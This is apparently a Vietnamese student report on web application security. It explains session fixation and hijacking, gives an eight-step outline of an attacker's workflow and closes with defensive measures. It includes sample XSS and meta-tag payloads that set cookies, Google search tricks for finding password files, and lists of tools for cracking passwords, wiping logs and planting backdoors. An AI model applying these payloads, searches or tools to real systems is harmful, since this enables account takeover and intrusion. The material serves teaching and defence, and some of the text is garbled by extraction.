Hacker gửi một liên kết yêu cầu người dùng đăng nhập vào hệ thống máy đích

với sessionID đã được ấn định sẵn trên URL. Ví dụ:

http://test.com/login.php?sessionid=12345678

Hacker truy cập vào ứng dụng web và nhận được một session ID từ trình chủ để

xác định phiên làm việc. Ví dụ session ID có giá trị 12345678.

Sau đó hacker tìm cách gửi một liên kết đến một người dùng nào đó có tài

khoản trong ứng dụng. Nhưng liên kết đó thông thường là dẫn đến trang đăng nhập

vào tài khoản ví dụ như http://test.com/login.php?sessionid=12345678 để lừa người

dùng đăng nhập với session ID của hacker đã định sẵn, do đã có session ID ấn định

trên URL nên trình chủ sẽ không tạo mới session ID cho người dùng mà dùng.

Sau khi người dùng đã đăng nhập vào ứng dụng thì hacker sẽ đột nhập được





vào phiên làm việc của người dùng mà không cần đăng nhập vì có cùng session ID.

Nhận xét: Cách tấn công này đòi hỏi ứng dụng phải tạo session ID ngay khi

người sử dụng truy cập ứng dụng, dễ bị phát hiện bởi người dùng.

b. Tấn công trong biến ẩn form

Kỹ thuật này cũng tương tự như kỹ thuật biến ẩn form, nghĩa là sau khi hacker

xem mã HTML của ứng dụng web, nhận thấy session ID được cài đặt trong biến ấn

form, hacker sẽ gửi một trang web giống với trang đích nhưng với biển ẩn form đã

được hacker ấn định sẵn

Nhận xét: Phương pháp này cũng không khả thi và dễ bị phát hiện như phương

pháp trên.

c. Tấn công trên Cookie

Bằng việc lợi dụng cookie, hakcer có ba cách để đưa một session ID đến trình

duyệt nạn nhân:

- Sử dụng ngôn ngữ kịch bản để thiết lập một cookie trong trình duyệt nạn nhân

- Sử dụng thẻ <META> để thiết lập thuộc tính Set-Cookie.

- Sử dụng Set-Cookie của HTTP header trả lời.

Cụ thể:

- Thiết lập cookie trên trình duyệt bằng ngôn ngữ kích bản:

Hầu hết trình duyệt đều hỗ trợ các ngôn ngữ kịch bản thực thi trên trình duyệt

như JavarScript, VBScript. Cả hai ngôn ngữ này có thể thiết lập một cookie cho trình

duyệt bằng cách thiết lập giá trị ‘document.cookie’. Ví dụ:

http://test.com/<script>document.cookie=”sessionid=12345678;domain=.test.c

om”;</script>

Bên cạnh đó, hacker có thể thiết lập thời gian sống cho cookie, domain cookie

… và cách này phù hợp với những hệ thống hướng tự do. Ví dụ domain nào thuộc

.test.com đề có thể đọc được giá trị cookie này.

- Sử dụng thẻ <META>

Ứng dụng cũng có thể thiết lập cookie cho trình duyệt bằng thẻ <META> trong

HTML. Ví dụ

<meta http-equiv= set-cookie content=”sessionid=12345678”>

Meta tag injection: Với những hệ thống lọc các thẻ <script> thì kỹ thuật XSS

gặp nhiều khó khăn, do đó thêm thẻ <meta> là một phương pháp khá hữu hiệu cho

phép thao tác trên cookie. Thông thường thẻ <meta> được đặt trong phần <head>

nhưng nó vẫn có thể được xử lý nếu đắt bất cứ đâu trong trang HTML

- Sử dụng thuộc tính Set-Cookie trong HTTP Header trả lời

http://test.com/%3cscript%3edocument.cookie=%22sessionid=12345678;domain=.test.com%22;%3c/script

http://test.com/%3cscript%3edocument.cookie=%22sessionid=12345678;domain=.test.com%22;%3c/script



Cách này thiết lập cookie cho trình duyệt bằng cách dùng Set-Cookie trong

header HTTP respone thông qua kỹ thuật tấn công DNS server

7.3. Đánh cắp phiên làm việc

Khác với kiểu ấn định phiên làm việc hacker đánh cắp một session ID của

người dùng khi họ đang trong phiên làm việc của mình. Và để có thể đánh cắp session

ID của người dùng, hacker có thể dùng những phương pháp sau:

- Dự đoán phiên làm việc.

- Vét cạn phiên làm việc.

- Dùng mã đánh cắp phiên làm việc.

a. Dự đoán phiên làm việc

Hacker là một người dùng của hệ thống, sau vài lần đăng nhập vào hệ thống,

hacker xem xét các giá trị session ID nhận được và tìm ra quy luật phát sinh session

ID, từ đó hacker có thể đoạn được một phiên làm việc của người dùng đăng nhập kế

tiếp hoặc 1 người dùng khác trong hệ thống.

b. Vét cạn phiên làm việc

Hacker có thể tạo một chương trình gửi nhiều yêu cầu trong một khoảng thời

gian đến trình chủ. Mỗi một yêu cầu kèm theo một session ID để tìm các session ID

đang tồn tại. Hacker dựa vào thói quen của những nhà lập trình ứng dụng lấy thời gian

hay địa chỉ IP của người dùng để tạo sessionID để hạn chế vùng vét cạn.

c. Đánh cắp phiên làm việc

Bằng cách chèn vào một đoạn mã thực thi trên chính trình duyệt của nạn nhân,

hacker có thể lừa người dùng theo vết 1 liên kết để từ đó thực hiện đánh cắp cookie

của người dùng và cách này được thực hiện thông qua lỗi XSS (Cross-Site-cripting).

Sau khi có được phiên làm việc của người dùng, hacker vào phiên làm việc của họ.


Biện pháp 1: Chống việc đăng nhập với một session ID có sẵn

Theo kiểu tấn công ấn định session, người dùng đăng nhập vào hệ thống với

một session ID đã được hacker định sẵn, vậy muốn phòng chống trường hợp này thì

ứng dụng phải hủy session ID được cung cấp từ trình duyệt và luôn tạo mới session ID

khi người dùng đăng nhập thành công.

Biện pháp 2: Phòng chống những hacker bên ngoài hệ thống

Việc tạo ứng dụng trên hệ thống theo hướng giới hạn(chỉ tạo một session ID

mới cho người dùng sau khi họ đăng nhập thành công) sẽ khiến cho những hacker

không phải là người dùng hợp lệ của hệ thống không thể sử dụng phương pháp này.



Biện pháp 3: Giới hạn phạm vi ứng dụng của session ID

Kết hợp session ID với địa chỉ trình duyệt.

Kết hợp session ID với thông tin chứng thực được mã hóa SSL của người dùng.

Xóa bỏ session khi người dùng thoát khỏi hệ thống hay hết hiệu lực, có thể

thực hiện trên trình chủ hoặc trình duyệt (cookie).

Người dùng phải dùng chế độ thoát ra khỏi hệ thống để xóa bỏ session hiện

thời và có thể những session ID còn lưu lại trên hệ thống khi họ quên thoát ra những

lần trước.

Thiết lập thời gian hết hiệu lực cho session, tránh trường hợp hacker có thể

duy trì session và sử dụng nó lâu dài.

Không quá chủ quan với thuật toán tạo session ID của ứng dụng, rất có thể

hacker đoán được thuật toán này.

8. Tổng kết quá trình tấn công của Hacker

8.1. Thu thập thông tin ở mức hạ tầng của mục tiêu

- Bước 1: FootPrinting (thu thập thông tin)

Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy

chủ, doanh nghiệp hoặc người dùng. Bao gồm chi tiết về địa chỉ IP, Whois, DNS,… là

những thông tin chính thức có liên quan đến mục tiêu

Công cụ hỗ trợ: UseNet, search enigines (công cụ tìm kiếm), Edgar Any Unix client.

- Bước 2: Scanning (Quét thăm dò)

Phần lớn thông tin quan trọng từ server có được từ bước này, bao gồm quét

cổng, xác định hệ điều hành, … để biết các port trên server, nghe đường dữ liệu.

Các công cụ: fping, icmpenum Ws_ping, ProPack, Nmap, SuperScan, fscan

nmap, queso, siphon.

- Bước 3: Enumeration (Liệt kê tìm lỗ hổng)

Tìm kiếm những tài nguyên được bảo vệ kém hoặc tài khoản người dùng mà có

thể sử dụng để xâm nhập, bao gồm các mật khẩu mặc định, các script và các dịch vụ

mặc định. Rất nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các

giá trị này.

Các công cụ trợ giúp: null sessions, DumpACL, Sid2user, Ónite Admin

showmount, NAT Legion banner grabbing với telnet, netcat, rpcinfo

- Bước 4: Gaining access (Tìm cách xâm cập)

Bây giờ hacker sẽ tìm cách truy nhập vào mạng bằng những thông tin có được ở

ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm,

lấy và giải mã file password, hay brute force (kiểm tra tất cả các trường hợp) password.



Các công cụ: tcpdump, L0phtcrack readsmb, NAT, Legion, tftp, pwdump2

(NT) ttdb, bind, IIS, …

- Bước 5: Escalating privilege (Leo thang đặc quyền)

Trong trường hợp hacker xâm nhập được vào mạng với một tài khoản nào đó

thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của

admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền.

John and Ripper là hai chương trình crack password rất hay được sử dụng.

Công cụ: L9phtcrack, Ic_messages, getadmin, sechole.

- Bước 6: Pilfering (Dùng khi các file chưa pass bị sơ hở)

Thêm một lần nữa các máy tìm kiếm lại được sử dụng để tìm các phương pháp

truy nhập vào mạng. Những file text chứa password hay các cơ chế không an toàn có

thể là đích cho các hacker.

Thông tin lấy được từ bước trên đủ cho hacker định vị server và điều khiển server.

Công cụ hỗ trợ: rhost, LSA Secrets user data, configuration files, registry.

- Bước 7: Covering Tracks (Xóa dấu vết)

Sau khi có những thông tin càn thiết, hacker tìm cách xóa dấu vết, xóa các file

log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập

hoặc có biết cũng không thể tìm ra kẻ xâm nhập là ai.

Công cụ xóa log: Zap, Event log GUI, rootkits, file streaming.

- Bước 8: Creating Backdoor (Tạo cửa sau để chuẩn bị cho lần xâm nhập

tiếp theo dễ dàng hơn)

Hacker để lại backdoor tức là tạo ra một cơ chế cho phép hacker truy nhập trở

lại bằng con đường bí mật không phải tốn nhiều công sức bằng việc cài đặt trojan hay

tạo user mới (đối với tổ chức có nhiều user).

Công cụ ở đây là các loại trojan, keylog, creat rogue user accouts, shcedule

batch jobs, infect startup files, plan remote control services, install monitoring

mechanisms, replace apps with trojan.

Công cụ: menbers of wheel, administrator cron, At rc, Startup foder, registry

key, netcat, …

8.2. Khảo sát ứng dụng web

Phương pháp khảo sát khá phổ biến đó là xem mã nguồn và lợi dụng lỗi cho

phép xem mã nguồn.

Một số ngôn ngữ lập trình web thông thường hiện nay có thể có nhiều lỗi như

ÁP, CGI, CFM, PHP.



Tìm các site bị lỗi này bằng cách dùng công cụ tìm kiếm www.google.com,

search từ khóa liên quan. Sử dụng allinurl: trước đoạn string đặc biệt cần tìm thì

những trang web được tìm thấy chắc chắn sẽ có chuỗi cần tìm.

Ví dụ: “allinurl:/admin” thì chỉ liệt kê những url có dạng:

http://name.com/admin

Tìm các file này trên google thì tên chữ type file: trước tên file cần tìm trên các

chuyên khu web.

Ví dụ: Muốn tìm file mdb (đây là file chứa mật khẩu của các trang web, dùng

access để mở) thì gõ lệnh file type: mdb.

Muốn tìm file sam (file chưa password của window NT. Dùng L0phtcrack để

crack) thì gõ lệnh type file: SAM

- Tấn công vượt qua các cơ chế kiểm soát (authentication, authorization)

Bao gồm các phương pháp như đoán mật khẩu, thay đổi thông tin cookies, các

kỹ thuật directory travelsal, leo thang đặc quyền, các phương pháp tấn công dựa vào

SQL, SQL Injection, …

- Tìm hiểu sâu về chức năng của ứng dụng web

Tìm hiểu cách thực hiện của các phần trong ứng dụng, đặc biệt như các ỏrder

input, confirmation, order tracking, ở đây ta có thể áp dụng các phương pháp như SQL

Injection, Input validation,..

- Tìm hiểu luồng di chuyển của thông tin

Các thông tin tương tác giữa client và server, các thông tin tương tác với

database. Hiện nay việc viết mã để thực hiện việc giao tiếp thông tin thường phải đảm

bảo được tính hiệu quả(nhanh), và bảo mật (sẽ có thể chậm hơn). Thường thì tính hiệu

quả được ưu tiên hơn do đó có thể phát sinh lỗi trong quá trình đó và giúp hacker có

thể lợi dụng các lỗi như SQL input, … để đoạt quyền điều khiển hệ thống.

8.3. Tấn công

Sau khi đã thu thập và khảo sát kỹ càng đối tượng, hacker bắt đầu thực hiện tấn

công nhằm xâm nhập vào hệ thống để lấy thông tin, đưa thông tin xấu vào, dành quyền

kiểm soát,.. Còn nếu không thành công trong việc xâm nhập thì Dó là cách thức cuối

cùng mà hacker thường lựa chọn để làm cho hệ thống không thể hoạt động được.

Nhận xét:

Việc thu thập thông tin là vô cùng quan trọng cho việc tấn công vào một hệ

thống máy đích. Cho dù hacker tấn công theo phương diện phần cứng hay qua ứng

dụng thì việc thu thập thông tin vẫn là cần thiết. Vấn đề là việc thực hiện theo từng

bước như thế nào. Có thể trong những bước đã neu hacker không cần phải đi qua từng

http://www.google.com/

http://name.com/admin



bước theo thứ tự nhưng việc nắm rõ thông tin của máy đích luôn là điều kiện tiên

quyết để dẫn đến thành công trong việc tấn công.

Tùy vào nội dung thông tin mà hacker thu được mà hacker sẽ quyết định tấn

công theo kỹ thuật nào. Do đó, việc bảo mật cho một hệ thống cần đòi hỏi sự kết hợp

không chỉ riêng của nhà quản trị hệ thống mà còn của nhà thiết kế ứng dụng và sự hợp

tác của cả những khách hàng sử dụng ứng dụng.

9. Tổng kết các biện pháp phòng thủ

9.1. Đối với những nhà quản trị mạng

Người quản trị hệ thống cần xác định rõ những đối tượng nào là quan trọng nhất

trong hệ thống cần bảo vệ, xác định rõ mức độ ưu tiên đối với những đối tượng đó. Ví

dụ các đối tượng cần bảo vệ trên một hệ thống có thể là : Các máy chủ dịch vụ, các

router, các điểm truy nhập hệ thống, các chương trình ứng dụng, hệ quản trị CSDL,

các dịch vụ cung cấp, …

Cấu hình cho những ứng dụng: Thận trọng trong việc cấu hình trình chủ và một

số ứng dụng. Trình chủ nên hay không nên cho thực thi những câu lệnh SSI. Ngoài ra

phải thiết lập quyền cho ứng dụng chỉ chạy với một số quyền hạn nhất định như trong

hệ quản trị cơ sở dữ liệu (không nên chạy với quyền admin) tránh trường hợp hacker

có thể lợi dụng chạy những câu lệnh điều khiển hệ thống.

Xác định nguy cơ đối với hệ thống chính là xác định các lỗ hổng bảo mật các

dịch vụ, ứng dụng trên lỗ hổng đó. Việc xác định đúng đắn các nguy cơ này giúp

người quản trị có thể tránh được những cuộc tấn công mạng, hoặc có biện pháp bảo vệ

đúng đắn bằng cách thường xuyên cập nhật tin tức trên các nhóm tin về bảo mật và từ

nhà cung cấp phần mềm để phát hiện những lỗi của phần mềm sử dụng. Khi phát hiện

lỗi cần cập nhật những phần mềm mới nhất để tránh trường hợp hacker sử dụng những

lỗ hổng trong phiên bản phần mềm cũ.

Nắm được hoạt động của các phần mềm ứng dụng, ý nghĩa của các file cấu hình

quan trọng(như etc/password), áp dụng các biện pháp bảo vệ cấu hình như sử dụng

phương thức mã hóa hashing code(MD5).

Sử dụng môt vài công cụ có thể phát hiện ra các hoạt động truy nhập không hợp

lệ vào một hệ thống như logfile.

Kiểm soát chặt chẽ các quyền của tài khoản trên hệ thống, không sử dụng

quyền root trong các trường hợp không cần thiết. Đối với các tài khoản không sử dụng

trên hệ thống cần đổi mật khẩu hoặc hủy bỏ.

Quản lý mật khẩu một cách chặt chẽ:

Buộc người sử dụng đổi mật khẩu trong một thời gian nhất định. Hầu hết các

hệ thống hiện này đều hỗ trợ cơ chế này, nếu không thay đổi mật khẩu, tài khoản đó



không còn giá trị trên hệ thống.

Trong trường hợp người sử dụng bị mất mật khẩu, để cấp lại cần có các thủ

tục khác để xác thực người xử dụng.

Cần giám sát và theo dõi chặt chẽ các chương trình đổi mật khẩu, đây thường

là mục tiêu để tấn công.

9.2. Đối với người thiết kế ứng dụng web

Người lập trình ứng dụng cần có những kĩ năng và hình thành thói quen lập

trình bảo mật đúng đắn và chú ý quan trọng nhất ở những điểm sau đây:

- Kiểm tra đầu vào hợp lệ.

- Bảo vệ hệ thống tập tin.

- Bảo vệ cơ sở dữ liệu.

- Bảo vệ dữ liệu phiên làm việc.

- Bảo vệ trước các nguy cơ của kiểu tấn công Cross-Site-Script – XSS.

- Kiểm tra các form gửi dữ liệu lên.

- Bảo vệ trước các yêu cầu giả mạo (Cross-Site-Request Forgeries - CSRF).

Kiểm tra đầu vào hợp lệ:

Kiểm tra đầu vào hợp lệ là thói quen quan trọng nhất mà bạn nên tuân thủ khi

lập trình bảo mật, đơn giản là: Đừng tin tưởng vào người sử dụng. Người sử dụng ứng

dụng hầu hết sử dụng ứng dụng theo đúng mong muốn nhưng cũng có những kẻ lợi

dụng đầu vào để đưa vào hệ thống những dữ liệu có khả năng gây tổn hại đến hệ thống

và những người dùng khác. Người lập trình cần bảo vệ hệ thống và thông tin người

dùng trước những nguy cơ này.

Sử dụng danh sách các giá trị đầu vào hợp lệ (white-list)

Kiểm tra hợp lệ lại các giá trị bị hạn chế

Sử dụng các hàm thoát lập sẵn

Kiểm tra kiểu dữ liệu

Bảo vệ hệ thống tập tin

Ứng dụng của bạn nếu thiết kế cho phép xem các tập tin với nội dung nhập vào

mà người sử dụng có thể thay đổi được thì ứng dụng đã đứng trước nguy cơ bị lộ

thông tin của các tập tin quan trọng nếu trình chủ không được cấu hình hợp lý để bảo

vệ hệ thống các tập tin. Nhưng đứng ở lập trường của một nhà lập trình ứng dụng, bạn

nên tránh hoàn toàn nguy cơ đó bằng việc lập trình ứng dụng trong việc sử lý tập tin

một cách an toàn. Nên dùng các biểu thức chính quy để đảm bảo đầu vào hợp lệ hoặc

tránh dùng biến động trong các câu lệnh gọi tập tin,...

Bảo vệ cơ sở dữ liệu



Truy xuất CSDL trong ứng dụng web là một phần không thể thiếu đối với web

động, nhưng việc truy xuất CSDL cũng có những nguy cơ tiềm tàng về bảo mật nếu

bạn không kiểm soát chặt chẽ được các truy vấn, khiến hacker có thể tùy biến nội dung

câu truy vấn và lấy thông tin từ CSDL hoặc nghiêm trọng hơn là chỉnh sửa hay xóa

hoàn toàn CSDL của bạn. Vậy để an toàn trong trường hợp này, bạn nên tránh việc

đưa các biến động vào câu truy vấn, dùng các hàm lọc dữ liệu như

mysql_real_escape_string() để đảm bảo câu truy vấn theo đúng ý bạn.

Bảo vệ dữ liệu phiên làm việc

Phiên làm việc là một cách hữu hiệu để xác nhận user, nó được lưu trữ ở một

thư mục tạm thời, nên nó cũng là mục đích của nhiều hacker, để đảm bảo dữ liệu chứa

trong phiên làm việc được an toàn, bạn nên mã hóa chúng, nhưng cũng có một cách

khác là lưu trữ dữ liệu phiên làm việc ở một nơi an toàn hơn như CSDL.

Bảo vệ trước các nguy cơ của kiểu tấn công Cross-Site-Script - XSS

Lỗ hổng XSS chiếm một tỷ lệ lớn trong tất cả các lỗ hổng của web application,

XSS được thực hiện khi hacker có khả năng thêm vào mã nguồn của bạn 1 đoạn html,

đoạn mã html đó có thể chứa javasript, mức độ nguy hiểm của hình thức này rất đa

dạng tùy vào khả năng của người khai thác nó. Vậy để trang web của bạn đảm bảo an

toàn trước hình thức tấn công này, bạn nên lọc những tham số đầu vào nhằm loại bỏ

những đoạn mã nguy hiểm, và mã hóa các biến trước khi được in ra trình duyệt bằng

hàm htmlentities().

Kiểm tra các form gửi dữ liệu lên

Form là thành phần thu thập thông tin từ người dùng, nó có thể dễ dàng bị giả

mạo bằng cách lưu nội dung form về máy tính và chỉnh sửa các tham số, nên việc tin

tưởng hoàn toàn vào dữ liệu từ form là một sai lầm nghiêm trọng. Ta có thể thấy một

trường hợp là các hộp thả xuống hoặc những nút radio trong form, bạn chắc đã nghĩ

rằng đầu vào đã được giới hạn theo ý bạn, nhưng chúng hoàn toàn có thể bị thay đổi

với những form giả mạo. Ta có một cách để khá hữu hiệu để tránh trường hợp này đó

là dùng thẻ bài (token) sử dụng một lần, thẻ bài này thay đổi liên tục và điều đó làm

cho việc giả mạo form trở nên bất khả thi hoặc vô cùng khó để giả mạo

Bảo vệ ứng dụng trước các yêu cầu giả mạo (Cross-Site-Request Forgeries)

Người sử dụng có thể thực hiện các hành động nhạy cảm mà không hề hay biết

nếu bị hacker lừa đảo với hình thức tấn công CSRF này. Hacker lợi dùng quyền của

người dùng trên hệ thống để thực hiện những hành động mà chúng không thể làm

được. Và để chống lại hình thức tấn công này, thẻ bài sử dụng 1 lần cũng là 1 cách

thức rất hữu hiệu.

9.3. Đối với người sử dụng web



Đưa ra những lời cảnh báo cho người sử dụng web rủi ro có thể xáy ra, đặc biệt

nên chú ý khi cho phép trình duyệt thực thi ngôn ngữ trình khách trên máy chủ, vì khả

năng lợi dụng ngôn ngữ này để thực hiện các hình thức tấn công như XSS hay

sessionID.

Sau khi dùng xong ứng dụng cần thoát ra khỏi hệ thống theo quy định (log out)

để tránh những nội dung quan trọng bị lưu lại, tránh khả năng hacker dùng nhưng

thông tin đó để tiếp tục sử dụng ứng dụng.

Quản lý tài khoản:

Người sử dụng cần nhận thức được vai trò quan trọng trong việc bảo vệ tài

khoản các nhân. Các hoạt động quản ý tài khoản bảo gồm việc đặt mật khẩu, thay đổi

mật khẩu định kì, …

Nên có những kiến thức nhất định để có thể phát hiện ra nếu có người khác sử

dụng tài khoản của mình thực hiện những hành động khác

III. Authentication/Authorization

Xác thực để truy cập là một điều phổ biến trên web hiện nay. Có nhiều cách xác

thực khác nhau nhưng chủ yếu vẫn dựa vào tên tài khoản và mật khẩu. Nếu mật khẩu

không mạnh hay xác thực không tốt thì hệ thống sẽ rất dễ bị tấn công. Dưới đây là một

số cách tấn công dựa vào xác thực.

Bằng việc lợi dụng cookie, hacker có 3 cách để đưa 1 session ID đến trình

duyệt của nạn nhận : Sử dụng ngôn ngữ kịch bản (javascrip ,vbscrip) để thiết lập 1

cookie trong trình duyệt của nạn nhân bằng cách thiết lập giá trị “document .cookie=

“sessionid=1234;domain = .worldbank.com” ”. Bên cạnh đó hacker còn có thể thiết

lập thời gian sống cho cookie, domain cookie.

IV. System Mis-Configurations

Hiện nay các hệ thống phần mềm luôn luôn có lỗi. Lợi dụng các lỗi đó tin tắc

có thể tấn công các hệ thống.

Một số kiểu tấn công lỗ hổng

- Zero day: là những lỗ hỏng hoặc lỗi chưa được công bố hoặc chưa khắc phục

và thời gian tấn công ngắn chỉ trong vòng 1 ngày.

- Lỗ hổng Shellshock



KẾT LUẬN

Trong khoảng vài năm trở lại đây, số lượng các lỗ hổng bảo mật của các trình

ứng dụng Web được công bố tăng lên một cách đáng kể, cùng với sự phát triển mạnh

của nền công nghệ thông tin nói chung và ứng dụng Web nói riêng. Những người làm

bảo mật thường chỉ quan tâm đến độ bảo mật của mạng và hệ điều hành chứ ít quan

tâm nhiều đến bảo mật của chính các ứng dụng chạy trên máy chủ web.

Mặc dù có rất nhiều lỗ hổng bảo mật của các ứng dụng web, nhưng chi phí cho

việc bảo mật thông tin không được đưa vào ngân sách hoặc thậm chí không được xem

xét trong suốt quá trình phát triển dự án.

Đa số ứng dụng web có thể bị những lỗi mà các phương cách phòng chống

mạng thông thường không bảo vệ được. Lỗi và lỗ hổng trong mã nguồn của ứng dụng

web có thể gây ra những hậu quả nghiêm trọng như lộ dữ liệu nhạy cảm, gây tổn

thương đến toàn hệ thống hạ tầng CNTT. Sự cố bảo mật trong ứng dụng web có thể

ảnh hưởng đến danh tiếng của công ty, mất mát về mặt tài chính, ảnh hưởng đến uy tín

với khách hàng và các vấn đề liên quan đến ràng buộc pháp lý.

Khi một tổ chức triển khai trực tuyến một ứng dụng web, điều này đồng nghĩa

với việc cho phép bất kỳ ai có kết nối Internet truy cập vào ứng dụng qua giao thức

HTTP. Những cuộc tấn công nằm trong những truy cập HTTP này có khả năng vượt

qua tường lửa, hệ thống lọc tầng mạng, các lớp bảo vệ hệ thống, và cả hệ thống phát

hiện xâm nhập. Những thiết bị trên không thể phát hiện được những cuộc tấn công này

vì các mã tấn công đều nằm trong các gói giao thức HTTP hợp lệ. Ngay cả những

trang Web có mức độ bảo mật cao sử dụng SSL cũng đều cho phép tất cả các dữ liệu

đi qua mà không hề kiểm tra tính hợp lệ của những dữ liệu này. Điều này có nghĩa là

bảo mật ứng dụng Web là một nhân tố quan trọng nằm trong hệ thống phòng thủ ngọai

vi, cùng với tường lửa và các thiết bị bảo mật khác.



TÀI LIỆU THAM KHẢO

1. Sybex - Network Security Foundations.

2. Mạng Internet.

Documents

Report of Web Security